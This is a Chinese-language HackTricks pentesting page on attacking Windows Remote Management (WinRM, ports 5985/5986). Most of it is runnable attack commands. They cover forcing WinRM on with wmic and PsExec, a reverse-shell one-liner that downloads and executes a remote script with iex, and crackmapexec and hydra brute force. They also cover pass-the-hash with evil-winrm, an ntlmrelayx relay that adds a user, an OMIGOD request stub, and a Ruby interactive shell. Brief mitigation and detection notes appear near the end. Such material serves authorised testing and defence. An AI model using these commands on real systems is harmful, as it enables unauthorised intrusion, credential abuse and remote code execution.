5985,5986 - Pentesting WinRM

Reading time: 14 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

WinRM

Windows Remote Management (WinRM) 被强调为 Microsoft 的协议,它通过 HTTP(S) 实现 Windows 系统的远程管理,并在此过程中利用 SOAP。它基本上由 WMI 驱动,呈现为 WMI 操作的基于 HTTP 的接口。

机器上存在 WinRM 允许通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统中的工作方式。要确定 WinRM 是否正常运行,建议检查特定端口的开启情况:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

上述列表中的开放端口表明 WinRM 已被设置,从而允许尝试启动远程会话。

启动 WinRM 会话

要为 WinRM 配置 PowerShell,Microsoft 的 Enable-PSRemoting cmdlet 被引入,用于设置计算机以接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任:

bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

这种方法涉及在 trustedhosts 配置中添加通配符,这一步骤需要谨慎考虑其影响。还注意到,可能需要将攻击者机器上的网络类型从“公共”更改为“工作”。

此外,可以使用 wmic 命令远程激活 WinRM,示例如下:

bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

这种方法允许远程设置 WinRM,从而增强了远程管理 Windows 机器的灵活性。

测试是否已配置

为了验证攻击机器的设置,使用 Test-WSMan 命令检查目标是否正确配置了 WinRM。通过执行此命令,您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:

  • 对于一个 正确配置的目标,输出将类似于:
bash
Test-WSMan <target-ip>

响应应包含有关协议版本和wsmid的信息,表明WinRM已正确设置。

  • 相反,对于配置WinRM的目标,将不会返回如此详细的信息,突显出缺乏适当的WinRM设置。

执行命令

要在目标机器上远程执行ipconfig并查看其输出,请执行:

bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

您还可以通过 Invoke-Command 执行当前 PS 控制台的命令。假设您在本地有一个名为 enumeration 的函数,并且您想要在远程计算机上 执行它,您可以这样做:

bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

执行脚本

bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

获取反向 shell

bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

获取 PS 会话

要获取交互式 PowerShell shell,请使用 Enter-PSSession

bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

会话将在“受害者”内部的一个新进程(wsmprovhost)中运行

强制打开 WinRM

要使用 PS Remoting 和 WinRM,但计算机未配置,可以通过以下方式启用它:

bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

保存和恢复会话

如果远程计算机的 语言限制,则此 方法 无效

bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

在此会话中,您可以使用 Invoke-Command 加载 PS 脚本。

bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

错误

如果您发现以下错误:

enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

尝试在客户端上(信息来自 here):

ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

WinRM 连接在 Linux 中

暴力破解

请小心,暴力破解 winrm 可能会阻止用户。

ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

使用 evil-winrm

ruby
gem install evil-winrm

阅读文档在其github上: https://github.com/Hackplayers/evil-winrm

ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

要使用 evil-winrm 连接到 IPv6 地址,在 /etc/hosts 中创建一个条目,将 域名 设置为 IPv6 地址,并连接到该域名。

使用 evil-winrm 传递哈希

ruby
evil-winrm -u <username> -H <Hash> -i <IP>

使用 PS-docker 机器

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

使用 Ruby 脚本

代码摘自这里: https://alamot.github.io/winrm_shell/

ruby
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

最近的漏洞与攻击技术 (2021-2025)

NTLM 直接中继到 WinRM (WS-MAN)

自 Impacket 0.11 (2023年5月) 起,ntlmrelayx.py 可以将捕获的 NTLM 凭据直接中继到 WS-MAN/WinRM 监听器。当主机仍在 未加密的 HTTP (5985) 上监听时,攻击者可以结合 mitm6 (或 Responder) 来强制身份验证并获得 SYSTEM 级别的代码执行:

bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"

缓解措施

  • 禁用 HTTP 监听器 – Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false
  • 强制使用 HTTPS 并在最近的 Windows 版本上启用身份验证的扩展保护 (EPA)。

OMIGOD – CVE-2021-38647 (Azure OMI)

Azure Linux 代理使用 Open Management Infrastructure (OMI) 服务,该服务在端口 5985/5986 上暴露 WinRM/WS-MAN API。一个逻辑错误允许 以 root 身份进行未经身份验证的 RCE

text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'

修补或移除 OMI(版本 ≥ 1.6.8-1)并从互联网阻止这些端口。

WSMan.Automation COM 滥用以进行横向移动

WinRM 可以通过 WSMan.Automation COM 对象在没有 PowerShell 的情况下驱动 – 在受限语言模式的系统上非常有用。诸如 SharpWSManWinRM 的工具封装了这一技术:

powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId   = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)

执行链(svchost → wmiprvse → cmd.exe)与经典的 PS-Remoting 相同。


工具更新

  • Evil-WinRM v3.x (2024) – 现在支持 Kerberos-k / --spn)和 基于证书 的身份验证(--cert-pem/--key-pem),会话日志记录(-L)以及禁用远程路径补全的能力(-N)。
bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
  • Python – pypsrp 0.9 (2024) 提供从 Linux 的 WinRM 和 PS-Remoting,包括 CredSSP 和 Kerberos:
python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
  • 检测 – 监控 Microsoft-Windows-WinRM/Operational 日志:
  • 事件 91 / 163 – shell 创建
  • 事件 182 – 身份验证失败
  • 在安全日志中,事件 4262 记录源 IP(2022 年 7 月的 CU 中添加)。 集中收集这些信息,并对匿名或外部 IP 发出警报。

Shodan

  • port:5985 Microsoft-HTTPAPI

参考

HackTricks 自动命令

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks